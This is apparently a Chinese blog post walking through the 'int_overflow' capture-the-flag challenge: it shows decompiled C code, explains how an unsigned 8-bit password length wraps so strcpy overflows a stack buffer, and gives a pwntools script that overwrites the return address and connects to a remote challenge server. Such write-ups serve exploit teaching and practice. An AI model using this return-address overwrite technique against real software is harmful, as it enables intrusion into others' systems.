当前位置:网站首页>PWN攻防世界int_overflow
PWN攻防世界int_overflow
2022-07-01 07:27:00 【Day-3】
首先,我们运行并查看一下文件。
丢入IDA中,查看源代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
查看之后,这个buf可以进行溢出操作。但需要注意,他转换为二进制的后两位需要大于3小于等于8。
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("int_overflow")
system_addr = elf.symbols["what_is_this"]
def main():
global day3
if content == 1:
day3 = process("guess_num")
else:
day3 =remote("111.200.241.244",49182)
payload = b'a' * (0x14 + 0x04) + p32(system_addr)
payload = payload.ljust(260,b"a")
day3.sendlineafter("Your choice:","1")
day3.sendlineafter("Please input your username:\n","123")
day3.recvuntil("Please input your passwd:\n")
day3.sendline(payload)
day3.interactive()
main()
得到Flag。
边栏推荐
- ctfshow-web355,356(SSRF)
- 【R语言】年龄性别频数匹配 挑选样本 病例对照研究,对年龄性别进行频数匹配
- 组件的自定义事件②
- 手机开户选哪个证券公司比较好,哪个更安全
- 如何制作专属的VS Code主题
- Easynvs cloud management platform function reconfiguration: support adding users, modifying information, etc
- 运维管理有什么实用的技巧吗
- [the path of system analysts] Chapter 5: software engineering of double disk (reverse clean room and Model Driven Development)
- 北漂程序员深夜emo发帖求助:女朋友走了我很孤独 ......
- Alibaba OSS postman invalid according to policy: policy condition failed: ["starts with", "key", "test/"]
猜你喜欢
未来互联网人才还稀缺吗?哪些技术方向热门?
【深圳IO】精确食品称(汇编语言的一些理解)
Custom events of components ②
【编程强训3】字符串中找出连续最长的数字串+数组中出现次数超过一半的数字
论文学习——水文时间序列相似性查询的分析与研究
Ctfhub port scan (SSRF)
微软宣布开源 (GODEL) 语言模型聊天机器人
关系数据库如何工作
Why did grayscale fall from the altar?
Inventory the six second level capabilities of Huawei cloud gaussdb (for redis)
随机推荐
2022茶艺师(初级)操作证考试题库及模拟考试
【R语言】年龄性别频数匹配 挑选样本 病例对照研究,对年龄性别进行频数匹配
Redisson uses the full solution - redisson official document + comments (Part 2)
Autosar 学习记录(1) – EcuM_Init
Paging in servlets and JSPS
ctfhub-端口扫描(SSRF)
ONES 创始人王颖奇对话《财富》(中文版):中国有没有优秀的软件?
ctfshow-web354(SSRF)
【深圳IO】精确食品称(汇编语言的一些理解)
[lingo] solve quadratic programming
[classification model] Q-type cluster analysis
Vscode automatically formats code according to eslint specification
The programmer of Beipiao posted a post for help late at night: I am lonely when my girlfriend is gone
组件的自定义事件②
【R语言】两个/N个数据合并merge函数
Cadence OrCAD capture "network name" is the same, but it is not connected or connected incorrectly. The usage of nodeName of liberation scheme
2022 tea master (intermediate) recurrent training question bank and answers
Apple account password auto fill
redisson看门狗机制,redisson看门狗性能问题,redisson源码解析
良心安利万向轮 SolidWorks模型素材网站